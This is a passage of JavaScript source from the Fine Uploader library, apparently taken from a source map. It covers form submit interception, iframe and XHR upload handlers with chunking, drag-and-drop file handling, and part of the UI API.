var self  = this,\n        interceptSubmit = options.interceptSubmit,\n        formEl = options.element,\n        autoUpload = options.autoUpload;\n\n    // Available on the public API associated with this module.\n    qq.extend(this, {\n        // To be used by the caller to determine if the endpoint will be determined by some processing\n        // that occurs in this module, such as if the form has an action attribute.\n        // Ignore if `attachToForm === false`.\n        newEndpoint: null,\n\n        // To be used by the caller to determine if auto uploading should be allowed.\n        // Ignore if `attachToForm === false`.\n        newAutoUpload: autoUpload,\n\n        // true if a form was detected and is being tracked by this module\n        attachedToForm: false,\n\n        // Returns an object with names and values for all valid form elements associated with the attached form.\n        getFormInputsAsObject: function() {\n            /* jshint eqnull:true */\n            if (formEl == null) {\n                return null;\n            }\n\n            return self._form2Obj(formEl);\n        }\n    });\n\n    // If the form contains an action attribute, this should be the new upload endpoint.\n    function determineNewEndpoint(formEl) {\n        if (formEl.getAttribute(\"action\")) {\n            self.newEndpoint = formEl.getAttribute(\"action\");\n        }\n    }\n\n    // Return true only if the form is valid, or if we cannot make this determination.\n    // If the form is invalid, ensure invalid field(s) are highlighted in the UI.\n    function validateForm(formEl, nativeSubmit) {\n        if (formEl.checkValidity && !formEl.checkValidity()) {\n            log(\"Form did not pass validation checks - will not upload.\", \"error\");\n            nativeSubmit();\n        }\n        else {\n            return true;\n        }\n    }\n\n    // Intercept form submit attempts, unless the integrator has told us not to do this.\n    function maybeUploadOnSubmit(formEl) {\n        var nativeSubmit = formEl.submit;\n\n        // Intercept and squelch submit events.\n        qq(formEl).attach(\"submit\", function(event) {\n            event = event || window.event;\n\n            if (event.preventDefault) {\n                event.preventDefault();\n            }\n            else {\n                event.returnValue = false;\n            }\n\n            validateForm(formEl, nativeSubmit) && startUpload();\n        });\n\n        // The form's `submit()` function may be called instead (i.e. via jQuery.submit()).\n        // Intercept that too.\n        formEl.submit = function() {\n            validateForm(formEl, nativeSubmit) && startUpload();\n        };\n    }\n\n    // If the element value passed from the uploader is a string, assume it is an element ID - select it.\n    // The rest of the code in this module depends on this being an HTMLElement.\n    function determineFormEl(formEl) {\n        if (formEl) {\n            if (qq.isString(formEl)) {\n                formEl = document.getElementById(formEl);\n            }\n\n            if (formEl) {\n                log(\"Attaching to form element.\");\n                determineNewEndpoint(formEl);\n                interceptSubmit && maybeUploadOnSubmit(formEl);\n            }\n        }\n\n        return formEl;\n    }\n\n    formEl = determineFormEl(formEl);\n    this.attachedToForm = !!formEl;\n};\n\nqq.extend(qq.FormSupport.prototype, {\n    // Converts all relevant form fields to key/value pairs.  This is meant to mimic the data a browser will\n    // construct from a given form when the form is submitted.\n    _form2Obj: function(form) {\n        \"use strict\";\n        var obj = {},\n            notIrrelevantType = function(type) {\n                var irrelevantTypes = [\n                    \"button\",\n                    \"image\",\n                    \"reset\",\n                    \"submit\"\n                ];\n\n                return qq.indexOf(irrelevantTypes, type.toLowerCase()) < 0;\n            },\n            radioOrCheckbox = function(type) {\n                return qq.indexOf([\"checkbox\", \"radio\"], type.toLowerCase()) >= 0;\n            },\n            ignoreValue = function(el) {\n                if (radioOrCheckbox(el.type) && !el.checked) {\n                    return true;\n                }\n\n                return el.disabled && el.type.toLowerCase() !== \"hidden\";\n            },\n            selectValue = function(select) {\n                var value = null;\n\n                qq.each(qq(select).children(), function(idx, child) {\n                    if (child.tagName.toLowerCase() === \"option\" && child.selected) {\n                        value = child.value;\n                        return false;\n                    }\n                });\n\n                return value;\n            };\n\n        qq.each(form.elements, function(idx, el) {\n            if ((qq.isInput(el, true) || el.tagName.toLowerCase() === \"textarea\") &&\n                notIrrelevantType(el.type) &&\n                !ignoreValue(el)) {\n\n                obj[el.name] = el.value;\n            }\n            else if (el.tagName.toLowerCase() === \"select\" && !ignoreValue(el)) {\n                var value = selectValue(el);\n\n                if (value !== null) {\n                    obj[el.name] = value;\n                }\n            }\n        });\n\n        return obj;\n    }\n});\n","/*globals qq*/\n/**\n * Upload handler used that assumes the current user agent does not have any support for the\n * File API, and, therefore, makes use of iframes and forms to submit the files directly to\n * a generic server.\n *\n * @param options Options passed from the base handler\n * @param proxy Callbacks & methods used to query for or push out data/changes\n */\nqq.traditional = qq.traditional || {};\nqq.traditional.FormUploadHandler = function(options, proxy) {\n    \"use strict\";\n\n    var handler = this,\n        getName = proxy.getName,\n        getUuid = proxy.getUuid,\n        log = proxy.log;\n\n    /**\n     * Returns json object received by iframe from server.\n     */\n    function getIframeContentJson(id, iframe) {\n        /*jshint evil: true*/\n\n        var response, doc, innerHtml;\n\n        //IE may throw an \"access is denied\" error when attempting to access contentDocument on the iframe in some cases\n        try {\n            // iframe.contentWindow.document - for IE<7\n            doc = iframe.contentDocument || iframe.contentWindow.document;\n            innerHtml = doc.body.innerHTML;\n\n            log(\"converting iframe's innerHTML to JSON\");\n            log(\"innerHTML = \" + innerHtml);\n            //plain text response may be wrapped in <pre> tag\n            if (innerHtml && innerHtml.match(/^<pre/i)) {\n                innerHtml = doc.body.firstChild.firstChild.nodeValue;\n            }\n\n            response = handler._parseJsonResponse(innerHtml);\n        }\n        catch (error) {\n            log(\"Error when attempting to parse form upload response (\" + error.message + \")\", \"error\");\n            response = {success: false};\n        }\n\n        return response;\n    }\n\n    /**\n     * Creates form, that will be submitted to iframe\n     */\n    function createForm(id, iframe) {\n        var params = options.paramsStore.get(id),\n            method = options.method.toLowerCase() === \"get\" ? \"GET\" : \"POST\",\n            endpoint = options.endpointStore.get(id),\n            name = getName(id);\n\n        params[options.uuidName] = getUuid(id);\n        params[options.filenameParam] = name;\n\n        return handler._initFormForUpload({\n            method: method,\n            endpoint: endpoint,\n            params: params,\n            paramsInBody: options.paramsInBody,\n            targetName: iframe.name\n        });\n    }\n\n    this.uploadFile = function(id) {\n        var input = handler.getInput(id),\n            iframe = handler._createIframe(id),\n            promise = new qq.Promise(),\n            form;\n\n        form = createForm(id, iframe);\n        form.appendChild(input);\n\n        handler._attachLoadEvent(iframe, function(responseFromMessage) {\n            log(\"iframe loaded\");\n\n            var response = responseFromMessage ? responseFromMessage : getIframeContentJson(id, iframe);\n\n            handler._detachLoadEvent(id);\n\n            //we can't remove an iframe if the iframe doesn't belong to the same domain\n            if (!options.cors.expected) {\n                qq(iframe).remove();\n            }\n\n            if (response.success) {\n                promise.success(response);\n            }\n            else {\n                promise.failure(response);\n            }\n        });\n\n        log(\"Sending upload request for \" + id);\n        form.submit();\n        qq(form).remove();\n\n        return promise;\n    };\n\n    qq.extend(this, new qq.FormUploadHandler({\n        options: {\n            isCors: options.cors.expected,\n            inputName: options.inputName\n        },\n\n        proxy: {\n            onCancel: options.onCancel,\n            getName: getName,\n            getUuid: getUuid,\n            log: log\n        }\n    }));\n};\n","/*globals qq*/\n/**\n * Upload handler used to upload to traditional endpoints.  It depends on File API support, and, therefore,\n * makes use of `XMLHttpRequest` level 2 to upload `File`s and `Blob`s to a generic server.\n *\n * @param spec Options passed from the base handler\n * @param proxy Callbacks & methods used to query for or push out data/changes\n */\nqq.traditional = qq.traditional || {};\nqq.traditional.XhrUploadHandler = function(spec, proxy) {\n    \"use strict\";\n\n    var handler = this,\n        getName = proxy.getName,\n        getSize = proxy.getSize,\n        getUuid = proxy.getUuid,\n        log = proxy.log,\n        multipart = spec.forceMultipart || spec.paramsInBody,\n\n        addChunkingSpecificParams = function(id, params, chunkData) {\n            var size = getSize(id),\n                name = getName(id);\n\n            params[spec.chunking.paramNames.partIndex] = chunkData.part;\n            params[spec.chunking.paramNames.partByteOffset] = chunkData.start;\n            params[spec.chunking.paramNames.chunkSize] = chunkData.size;\n            params[spec.chunking.paramNames.totalParts] = chunkData.count;\n            params[spec.totalFileSizeName] = size;\n\n            /**\n             * When a Blob is sent in a multipart request, the filename value in the content-disposition header is either \"blob\"\n             * or an empty string.  So, we will need to include the actual file name as a param in this case.\n             */\n            if (multipart) {\n                params[spec.filenameParam] = name;\n            }\n        },\n\n        allChunksDoneRequester = new qq.traditional.AllChunksDoneAjaxRequester({\n            cors: spec.cors,\n            endpoint: spec.chunking.success.endpoint,\n            log: log\n        }),\n\n        createReadyStateChangedHandler = function(id, xhr) {\n            var promise = new qq.Promise();\n\n            xhr.onreadystatechange = function() {\n                if (xhr.readyState === 4) {\n                    var result = onUploadOrChunkComplete(id, xhr);\n\n                    if (result.success) {\n                        promise.success(result.response, xhr);\n                    }\n                    else {\n                        promise.failure(result.response, xhr);\n                    }\n                }\n            };\n\n            return promise;\n        },\n\n        getChunksCompleteParams = function(id) {\n            var params = spec.paramsStore.get(id),\n                name = getName(id),\n                size = getSize(id);\n\n            params[spec.uuidName] = getUuid(id);\n            params[spec.filenameParam] = name;\n            params[spec.totalFileSizeName] = size;\n            params[spec.chunking.paramNames.totalParts] = handler._getTotalChunks(id);\n\n            return params;\n        },\n\n        isErrorUploadResponse = function(xhr, response) {\n            return qq.indexOf([200, 201, 202, 203, 204], xhr.status) < 0 ||\n                !response.success ||\n                response.reset;\n        },\n\n        onUploadOrChunkComplete = function(id, xhr) {\n            var response;\n\n            log(\"xhr - server response received for \" + id);\n            log(\"responseText = \" + xhr.responseText);\n\n            response = parseResponse(true, xhr);\n\n            return {\n                success: !isErrorUploadResponse(xhr, response),\n                response: response\n            };\n        },\n\n        // If this is an upload response, we require a JSON payload, otherwise, it is optional.\n        parseResponse = function(upload, xhr) {\n            var response = {};\n\n            try {\n                log(qq.format(\"Received response status {} with body: {}\", xhr.status, xhr.responseText));\n                response = qq.parseJson(xhr.responseText);\n            }\n            catch (error) {\n                upload && log(\"Error when attempting to parse xhr response text (\" + error.message + \")\", \"error\");\n            }\n\n            return response;\n        },\n\n        sendChunksCompleteRequest = function(id) {\n            var promise = new qq.Promise();\n\n            allChunksDoneRequester.complete(\n                    id,\n                    handler._createXhr(id),\n                    getChunksCompleteParams(id),\n                    spec.customHeaders.get(id)\n                )\n                .then(function(xhr) {\n                    promise.success(parseResponse(false, xhr), xhr);\n                }, function(xhr) {\n                    promise.failure(parseResponse(false, xhr), xhr);\n                });\n\n            return promise;\n        },\n\n        setParamsAndGetEntityToSend = function(params, xhr, fileOrBlob, id) {\n            var formData = new FormData(),\n                method = spec.method,\n                endpoint = spec.endpointStore.get(id),\n                name = getName(id),\n                size = getSize(id);\n\n            params[spec.uuidName] = getUuid(id);\n            params[spec.filenameParam] = name;\n\n            if (multipart) {\n                params[spec.totalFileSizeName] = size;\n            }\n\n            //build query string\n            if (!spec.paramsInBody) {\n                if (!multipart) {\n                    params[spec.inputName] = name;\n                }\n                endpoint = qq.obj2url(params, endpoint);\n            }\n\n            xhr.open(method, endpoint, true);\n\n            if (spec.cors.expected && spec.cors.sendCredentials) {\n                xhr.withCredentials = true;\n            }\n\n            if (multipart) {\n                if (spec.paramsInBody) {\n                    qq.obj2FormData(params, formData);\n                }\n\n                formData.append(spec.inputName, fileOrBlob);\n                return formData;\n            }\n\n            return fileOrBlob;\n        },\n\n        setUploadHeaders = function(id, xhr) {\n            var extraHeaders = spec.customHeaders.get(id),\n                fileOrBlob = handler.getFile(id);\n\n            xhr.setRequestHeader(\"Accept\", \"application/json\");\n            xhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n            xhr.setRequestHeader(\"Cache-Control\", \"no-cache\");\n\n            if (!multipart) {\n                xhr.setRequestHeader(\"Content-Type\", \"application/octet-stream\");\n                //NOTE: return mime type in xhr works on chrome 16.0.9 firefox 11.0a2\n                xhr.setRequestHeader(\"X-Mime-Type\", fileOrBlob.type);\n            }\n\n            qq.each(extraHeaders, function(name, val) {\n                xhr.setRequestHeader(name, val);\n            });\n        };\n\n    qq.extend(this, {\n        uploadChunk: function(id, chunkIdx, resuming) {\n            var chunkData = handler._getChunkData(id, chunkIdx),\n                xhr = handler._createXhr(id, chunkIdx),\n                size = getSize(id),\n                promise, toSend, params;\n\n            promise = createReadyStateChangedHandler(id, xhr);\n            handler._registerProgressHandler(id, chunkIdx, chunkData.size);\n            params = spec.paramsStore.get(id);\n            addChunkingSpecificParams(id, params, chunkData);\n\n            if (resuming) {\n                params[spec.resume.paramNames.resuming] = true;\n            }\n\n            toSend = setParamsAndGetEntityToSend(params, xhr, chunkData.blob, id);\n            setUploadHeaders(id, xhr);\n            xhr.send(toSend);\n\n            return promise;\n        },\n\n        uploadFile: function(id) {\n            var fileOrBlob = handler.getFile(id),\n                promise, xhr, params, toSend;\n\n            xhr = handler._createXhr(id);\n            handler._registerProgressHandler(id);\n            promise = createReadyStateChangedHandler(id, xhr);\n            params = spec.paramsStore.get(id);\n            toSend = setParamsAndGetEntityToSend(params, xhr, fileOrBlob, id);\n            setUploadHeaders(id, xhr);\n            xhr.send(toSend);\n\n            return promise;\n        }\n    });\n\n    qq.extend(this, new qq.XhrUploadHandler({\n        options: qq.extend({namespace: \"traditional\"}, spec),\n        proxy: qq.extend({getEndpoint: spec.endpointStore.get}, proxy)\n    }));\n\n    qq.override(this, function(super_) {\n        return {\n            finalizeChunks: function(id) {\n                if (spec.chunking.success.endpoint) {\n                    return sendChunksCompleteRequest(id);\n                }\n                else {\n                    return super_.finalizeChunks(id, qq.bind(parseResponse, this, true));\n                }\n            }\n        };\n    });\n};\n","/*globals qq*/\n/**\n * Ajax requester used to send a POST to a traditional endpoint once all chunks for a specific file have uploaded\n * successfully.\n *\n * @param o Options from the caller - will override the defaults.\n * @constructor\n */\nqq.traditional.AllChunksDoneAjaxRequester = function(o) {\n    \"use strict\";\n\n    var requester,\n        method = \"POST\",\n        options = {\n            cors: {\n                allowXdr: false,\n                expected: false,\n                sendCredentials: false\n            },\n            endpoint: null,\n            log: function(str, level) {}\n        },\n        promises = {},\n        endpointHandler = {\n            get: function(id) {\n                return options.endpoint;\n            }\n        };\n\n    qq.extend(options, o);\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [method],\n        method: method,\n        endpointStore: endpointHandler,\n        allowXRequestedWithAndCacheControl: false,\n        cors: options.cors,\n        log: options.log,\n        onComplete: function(id, xhr, isError) {\n            var promise = promises[id];\n\n            delete promises[id];\n\n            if (isError) {\n                promise.failure(xhr);\n            }\n            else {\n                promise.success(xhr);\n            }\n        }\n    }));\n\n    qq.extend(this, {\n        complete: function(id, xhr, params, headers) {\n            var promise = new qq.Promise();\n\n            options.log(\"Submitting All Chunks Done request for \" + id);\n\n            promises[id] = promise;\n\n            requester.initTransport(id)\n                .withParams(params)\n                .withHeaders(headers)\n                .send(xhr);\n\n            return promise;\n        }\n    });\n};\n","/*globals qq, document, CustomEvent*/\nqq.DragAndDrop = function(o) {\n    \"use strict\";\n\n    var options,\n        HIDE_ZONES_EVENT_NAME = \"qq-hidezones\",\n        HIDE_BEFORE_ENTER_ATTR = \"qq-hide-dropzone\",\n        uploadDropZones = [],\n        droppedFiles = [],\n        disposeSupport = new qq.DisposeSupport();\n\n    options = {\n        dropZoneElements: [],\n        allowMultipleItems: true,\n        classes: {\n            dropActive: null\n        },\n        callbacks: new qq.DragAndDrop.callbacks()\n    };\n\n    qq.extend(options, o, true);\n\n    function uploadDroppedFiles(files, uploadDropZone) {\n        // We need to convert the `FileList` to an actual `Array` to avoid iteration issues\n        var filesAsArray = Array.prototype.slice.call(files);\n\n        options.callbacks.dropLog(\"Grabbed \" + files.length + \" dropped files.\");\n        uploadDropZone.dropDisabled(false);\n        options.callbacks.processingDroppedFilesComplete(filesAsArray, uploadDropZone.getElement());\n    }\n\n    function traverseFileTree(entry) {\n        var parseEntryPromise = new qq.Promise();\n\n        if (entry.isFile) {\n            entry.file(function(file) {\n                var name = entry.name,\n                    fullPath = entry.fullPath,\n                    indexOfNameInFullPath = fullPath.indexOf(name);\n\n                // remove file name from full path string\n                fullPath = fullPath.substr(0, indexOfNameInFullPath);\n\n                // remove leading slash in full path string\n                if (fullPath.charAt(0) === \"/\") {\n                    fullPath = fullPath.substr(1);\n                }\n\n                file.qqPath = fullPath;\n                droppedFiles.push(file);\n                parseEntryPromise.success();\n            },\n            function(fileError) {\n                options.callbacks.dropLog(\"Problem parsing '\" + entry.fullPath + \"'.  FileError code \" + fileError.code + \".\", \"error\");\n                parseEntryPromise.failure();\n            });\n        }\n        else if (entry.isDirectory) {\n            getFilesInDirectory(entry).then(\n                function allEntriesRead(entries) {\n                    var entriesLeft = entries.length;\n\n                    qq.each(entries, function(idx, entry) {\n                        traverseFileTree(entry).done(function() {\n                            entriesLeft -= 1;\n\n                            if (entriesLeft === 0) {\n                                parseEntryPromise.success();\n                            }\n                        });\n                    });\n\n                    if (!entries.length) {\n                        parseEntryPromise.success();\n                    }\n                },\n\n                function readFailure(fileError) {\n                    options.callbacks.dropLog(\"Problem parsing '\" + entry.fullPath + \"'.  FileError code \" + fileError.code + \".\", \"error\");\n                    parseEntryPromise.failure();\n                }\n            );\n        }\n\n        return parseEntryPromise;\n    }\n\n    // Promissory.  Guaranteed to read all files in the root of the passed directory.\n    function getFilesInDirectory(entry, reader, accumEntries, existingPromise) {\n        var promise = existingPromise || new qq.Promise(),\n            dirReader = reader || entry.createReader();\n\n        dirReader.readEntries(\n            function readSuccess(entries) {\n                var newEntries = accumEntries ? accumEntries.concat(entries) : entries;\n\n                if (entries.length) {\n                    setTimeout(function() { // prevent stack overflow, however unlikely\n                        getFilesInDirectory(entry, dirReader, newEntries, promise);\n                    }, 0);\n                }\n                else {\n                    promise.success(newEntries);\n                }\n            },\n\n            promise.failure\n        );\n\n        return promise;\n    }\n\n    function handleDataTransfer(dataTransfer, uploadDropZone) {\n        var pendingFolderPromises = [],\n            handleDataTransferPromise = new qq.Promise();\n\n        options.callbacks.processingDroppedFiles();\n        uploadDropZone.dropDisabled(true);\n\n        if (dataTransfer.files.length > 1 && !options.allowMultipleItems) {\n            options.callbacks.processingDroppedFilesComplete([]);\n            options.callbacks.dropError(\"tooManyFilesError\", \"\");\n            uploadDropZone.dropDisabled(false);\n            handleDataTransferPromise.failure();\n        }\n        else {\n            droppedFiles = [];\n\n            if (qq.isFolderDropSupported(dataTransfer)) {\n                qq.each(dataTransfer.items, function(idx, item) {\n                    var entry = item.webkitGetAsEntry();\n\n                    if (entry) {\n                        //due to a bug in Chrome's File System API impl - #149735\n                        if (entry.isFile) {\n                            droppedFiles.push(item.getAsFile());\n                        }\n\n                        else {\n                            pendingFolderPromises.push(traverseFileTree(entry).done(function() {\n                                pendingFolderPromises.pop();\n                                if (pendingFolderPromises.length === 0) {\n                                    handleDataTransferPromise.success();\n                                }\n                            }));\n                        }\n                    }\n                });\n            }\n            else {\n                droppedFiles = dataTransfer.files;\n            }\n\n            if (pendingFolderPromises.length === 0) {\n                handleDataTransferPromise.success();\n            }\n        }\n\n        return handleDataTransferPromise;\n    }\n\n    function setupDropzone(dropArea) {\n        var dropZone = new qq.UploadDropZone({\n            HIDE_ZONES_EVENT_NAME: HIDE_ZONES_EVENT_NAME,\n            element: dropArea,\n            onEnter: function(e) {\n                qq(dropArea).addClass(options.classes.dropActive);\n                e.stopPropagation();\n            },\n            onLeaveNotDescendants: function(e) {\n                qq(dropArea).removeClass(options.classes.dropActive);\n            },\n            onDrop: function(e) {\n                handleDataTransfer(e.dataTransfer, dropZone).then(\n                    function() {\n                        uploadDroppedFiles(droppedFiles, dropZone);\n                    },\n                    function() {\n                        options.callbacks.dropLog(\"Drop event DataTransfer parsing failed.  No files will be uploaded.\", \"error\");\n                    }\n                );\n            }\n        });\n\n        disposeSupport.addDisposer(function() {\n            dropZone.dispose();\n        });\n\n        qq(dropArea).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropArea).hide();\n\n        uploadDropZones.push(dropZone);\n\n        return dropZone;\n    }\n\n    function isFileDrag(dragEvent) {\n        var fileDrag;\n\n        qq.each(dragEvent.dataTransfer.types, function(key, val) {\n            if (val === \"Files\") {\n                fileDrag = true;\n                return false;\n            }\n        });\n\n        return fileDrag;\n    }\n\n    // Attempt to determine when the file has left the document.  It is not always possible to detect this\n    // in all cases, but it is generally possible in all browsers, with a few exceptions.\n    //\n    // Exceptions:\n    // * IE10+ & Safari: We can't detect a file leaving the document if the Explorer window housing the file\n    //                   overlays the browser window.\n    // * IE10+: If the file is dragged out of the window too quickly, IE does not set the expected values of the\n    //          event's X & Y properties.\n    function leavingDocumentOut(e) {\n        if (qq.firefox()) {\n            return !e.relatedTarget;\n        }\n\n        if (qq.safari()) {\n            return e.x < 0 || e.y < 0;\n        }\n\n        return e.x === 0 && e.y === 0;\n    }\n\n    function setupDragDrop() {\n        var dropZones = options.dropZoneElements,\n\n            maybeHideDropZones = function() {\n                setTimeout(function() {\n                    qq.each(dropZones, function(idx, dropZone) {\n                        qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropZone).hide();\n                        qq(dropZone).removeClass(options.classes.dropActive);\n                    });\n                }, 10);\n            };\n\n        qq.each(dropZones, function(idx, dropZone) {\n            var uploadDropZone = setupDropzone(dropZone);\n\n            // IE <= 9 does not support the File API used for drag+drop uploads\n            if (dropZones.length && qq.supportedFeatures.fileDrop) {\n                disposeSupport.attach(document, \"dragenter\", function(e) {\n                    if (!uploadDropZone.dropDisabled() && isFileDrag(e)) {\n                        qq.each(dropZones, function(idx, dropZone) {\n                            // We can't apply styles to non-HTMLElements, since they lack the `style` property.\n                            // Also, if the drop zone isn't initially hidden, let's not mess with `style.display`.\n                            if (dropZone instanceof HTMLElement &&\n                                qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR)) {\n\n                                qq(dropZone).css({display: \"block\"});\n                            }\n                        });\n                    }\n                });\n            }\n        });\n\n        disposeSupport.attach(document, \"dragleave\", function(e) {\n            if (leavingDocumentOut(e)) {\n                maybeHideDropZones();\n            }\n        });\n\n        // Just in case we were not able to detect when a dragged file has left the document,\n        // hide all relevant drop zones the next time the mouse enters the document.\n        // Note that mouse events such as this one are not fired during drag operations.\n        disposeSupport.attach(qq(document).children()[0], \"mouseenter\", function(e) {\n            maybeHideDropZones();\n        });\n\n        disposeSupport.attach(document, \"drop\", function(e) {\n            e.preventDefault();\n            maybeHideDropZones();\n        });\n\n        disposeSupport.attach(document, HIDE_ZONES_EVENT_NAME, maybeHideDropZones);\n    }\n\n    setupDragDrop();\n\n    qq.extend(this, {\n        setupExtraDropzone: function(element) {\n            options.dropZoneElements.push(element);\n            setupDropzone(element);\n        },\n\n        removeDropzone: function(element) {\n            var i,\n                dzs = options.dropZoneElements;\n\n            for (i in dzs) {\n                if (dzs[i] === element) {\n                    return dzs.splice(i, 1);\n                }\n            }\n        },\n\n        dispose: function() {\n            disposeSupport.dispose();\n            qq.each(uploadDropZones, function(idx, dropZone) {\n                dropZone.dispose();\n            });\n        }\n    });\n};\n\nqq.DragAndDrop.callbacks = function() {\n    \"use strict\";\n\n    return {\n        processingDroppedFiles: function() {},\n        processingDroppedFilesComplete: function(files, targetEl) {},\n        dropError: function(code, errorSpecifics) {\n            qq.log(\"Drag & drop error code '\" + code + \" with these specifics: '\" + errorSpecifics + \"'\", \"error\");\n        },\n        dropLog: function(message, level) {\n            qq.log(message, level);\n        }\n    };\n};\n\nqq.UploadDropZone = function(o) {\n    \"use strict\";\n\n    var disposeSupport = new qq.DisposeSupport(),\n        options, element, preventDrop, dropOutsideDisabled;\n\n    options = {\n        element: null,\n        onEnter: function(e) {},\n        onLeave: function(e) {},\n        // is not fired when leaving element by hovering descendants\n        onLeaveNotDescendants: function(e) {},\n        onDrop: function(e) {}\n    };\n\n    qq.extend(options, o);\n    element = options.element;\n\n    function dragoverShouldBeCanceled() {\n        return qq.safari() || (qq.firefox() && qq.windows());\n    }\n\n    function disableDropOutside(e) {\n        // run only once for all instances\n        if (!dropOutsideDisabled) {\n\n            // for these cases we need to catch onDrop to reset dropArea\n            if (dragoverShouldBeCanceled) {\n                disposeSupport.attach(document, \"dragover\", function(e) {\n                    e.preventDefault();\n                });\n            } else {\n                disposeSupport.attach(document, \"dragover\", function(e) {\n                    if (e.dataTransfer) {\n                        e.dataTransfer.dropEffect = \"none\";\n                        e.preventDefault();\n                    }\n                });\n            }\n\n            dropOutsideDisabled = true;\n        }\n    }\n\n    function isValidFileDrag(e) {\n        // e.dataTransfer currently causing IE errors\n        // IE9 does NOT support file API, so drag-and-drop is not possible\n        if (!qq.supportedFeatures.fileDrop) {\n            return false;\n        }\n\n        var effectTest, dt = e.dataTransfer,\n        // do not check dt.types.contains in webkit, because it crashes safari 4\n        isSafari = qq.safari();\n\n        // dt.effectAllowed is none in Safari 5\n        // dt.types.contains check is for firefox\n\n        // dt.effectAllowed crashes IE 11 & 10 when files have been dragged from\n        // the filesystem\n        effectTest = qq.ie() && qq.supportedFeatures.fileDrop ? true : dt.effectAllowed !== \"none\";\n        return dt && effectTest && (dt.files || (!isSafari && dt.types.contains && dt.types.contains(\"Files\")));\n    }\n\n    function isOrSetDropDisabled(isDisabled) {\n        if (isDisabled !== undefined) {\n            preventDrop = isDisabled;\n        }\n        return preventDrop;\n    }\n\n    function triggerHidezonesEvent() {\n        var hideZonesEvent;\n\n        function triggerUsingOldApi() {\n            hideZonesEvent = document.createEvent(\"Event\");\n            hideZonesEvent.initEvent(options.HIDE_ZONES_EVENT_NAME, true, true);\n        }\n\n        if (window.CustomEvent) {\n            try {\n                hideZonesEvent = new CustomEvent(options.HIDE_ZONES_EVENT_NAME);\n            }\n            catch (err) {\n                triggerUsingOldApi();\n            }\n        }\n        else {\n            triggerUsingOldApi();\n        }\n\n        document.dispatchEvent(hideZonesEvent);\n    }\n\n    function attachEvents() {\n        disposeSupport.attach(element, \"dragover\", function(e) {\n            if (!isValidFileDrag(e)) {\n                return;\n            }\n\n            // dt.effectAllowed crashes IE 11 & 10 when files have been dragged from\n            // the filesystem\n            var effect = qq.ie() && qq.supportedFeatures.fileDrop ? null : e.dataTransfer.effectAllowed;\n            if (effect === \"move\" || effect === \"linkMove\") {\n                e.dataTransfer.dropEffect = \"move\"; // for FF (only move allowed)\n            } else {\n                e.dataTransfer.dropEffect = \"copy\"; // for Chrome\n            }\n\n            e.stopPropagation();\n            e.preventDefault();\n        });\n\n        disposeSupport.attach(element, \"dragenter\", function(e) {\n            if (!isOrSetDropDisabled()) {\n                if (!isValidFileDrag(e)) {\n                    return;\n                }\n                options.onEnter(e);\n            }\n        });\n\n        disposeSupport.attach(element, \"dragleave\", function(e) {\n            if (!isValidFileDrag(e)) {\n                return;\n            }\n\n            options.onLeave(e);\n\n            var relatedTarget = document.elementFromPoint(e.clientX, e.clientY);\n            // do not fire when moving a mouse over a descendant\n            if (qq(this).contains(relatedTarget)) {\n                return;\n            }\n\n            options.onLeaveNotDescendants(e);\n        });\n\n        disposeSupport.attach(element, \"drop\", function(e) {\n            if (!isOrSetDropDisabled()) {\n                if (!isValidFileDrag(e)) {\n                    return;\n                }\n\n                e.preventDefault();\n                e.stopPropagation();\n                options.onDrop(e);\n\n                triggerHidezonesEvent();\n            }\n        });\n    }\n\n    disableDropOutside();\n    attachEvents();\n\n    qq.extend(this, {\n        dropDisabled: function(isDisabled) {\n            return isOrSetDropDisabled(isDisabled);\n        },\n\n        dispose: function() {\n            disposeSupport.dispose();\n        },\n\n        getElement: function() {\n            return element;\n        }\n    });\n};\n","/*globals qq */\n/**\n * Defines the public API for FineUploader mode.\n */\n(function() {\n    \"use strict\";\n\n    qq.uiPublicApi = {\n        addInitialFiles: function(cannedFileList) {\n            this._parent.prototype.addInitialFiles.apply(this, arguments);\n            this._templating.addCacheToDom();\n        },\n\n        clearStoredFiles: function() {\n            this._parent.prototype.clearStoredFiles.apply(this, arguments);\n            this._templating.clearFiles();\n        },\n\n        addExtraDropzone: function(element) {\n            this._dnd && this._dnd.setupExtraDropzone(element);\n        },\n\n        removeExtraDropzone: function(element) {\n            if (this._dnd) {\n                return this._dnd.removeDropzone(element);\n            }\n        },\n\n        getItemByFileId: function(id) {\n            if (!this._templating.isHiddenForever(id)) {\n                return this._templating.getFileContainer(id);\n            }\n        },\n\n        reset: function() {\n            this._parent.prototype.reset.apply(this, arguments);\n            this._templating.reset();\n\n            if (!this._options.button && this._templating.getButton()) {\n                this._defaultButtonId = this._createUploadButton({\n                    element: this._templating.getButton(),\n                    title: this._options.text.fileInputTitle\n                }).getButtonId();\n            }\n\n            if (this._dnd) {\n                this._dnd.dispose();\n                this._dnd = this._setupDragAndDrop();\n            }\n\n            this._totalFilesInBatch = 0;\n            this._filesInBatchAddedToUi = 0;\n\n            this._setupClickAndEditEventHandlers();\n        },\n\n        setName: function(id, newName) {\n            var formattedFilename = this._options.formatFileName(newName);\n\n            this._parent.prototype.setName.apply(this, arguments);\n            this._templating.updateFilename(id, formattedFilename);\n        },\n\n        pauseUpload: function(id) {\n            var paused = this._parent.prototype.pauseUpload.apply(this, arguments);\n\n            paused && this._templating.uploadPaused(id);\n            return paused;\n        },\n\n        continueUpload: function(id) {\n            var continued = this._parent.prototype.continueUpload.apply(this, arguments);\n\n            continued && this._templating.uploadContinued(id);\n            return continued;\n        },\n\n        getId: function(fileContainerOrChildEl) {\n            return this._templating.getFileId(fileContainerOrChildEl);\n        },\n\n        getDropTarget: function(fileId) {\n            var file = this.getFile(fileId);\n\n            return file.qqDropTarget;\n        }\n    };\n\n    /**\n     * Defines the private (internal) API for FineUploader mode.\n     */\n    qq.uiPrivateApi = {\n        _getButton: function(buttonId) {\n            var button = this._parent.prototype._getButton.apply(this, arguments);\n\n            if (!button) {\n                if (buttonId === this._defaultButtonId) {\n                    button = this._templating.getButton();\n                }\n            }\n\n            return button;\n        },\n\n        _removeFileItem: function(fileId) {\n            this._templating.removeFile(fileId);\n        },\n\n        _setupClickAndEditEventHandlers: function() {\n            this._fileButtonsClickHandler = qq.FileButtonsClickHandler && this._bindFileButtonsClickEvent();\n\n            // A better approach would be to check specifically for focusin event support by querying the DOM API,\n            // but the 